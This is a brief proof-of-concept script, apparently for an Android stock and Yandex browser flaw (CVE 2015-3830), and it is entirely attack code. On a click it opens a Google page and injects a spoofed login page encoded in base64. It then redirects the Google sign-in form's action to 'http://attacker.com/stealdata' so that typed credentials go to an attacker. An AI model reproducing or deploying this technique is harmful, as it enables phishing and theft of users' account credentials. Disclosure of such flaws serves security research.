<script>
    var gmail = 'base64 encoded malicious page';
    window.onclick = function () {
        var x = window.open('https://www.google.com/csi');
        setTimeout(function () {
            x.document.body.innerHTML = atob(gmail);
            var form = x.document.querySelector('form#gaia_loginform'); form.setAttribute('action', 'http://attacker.com/stealdata')
        }, 700);
    }
</script> POC for Yandex/Android Stock Browser For Android (CVE 2015-3830)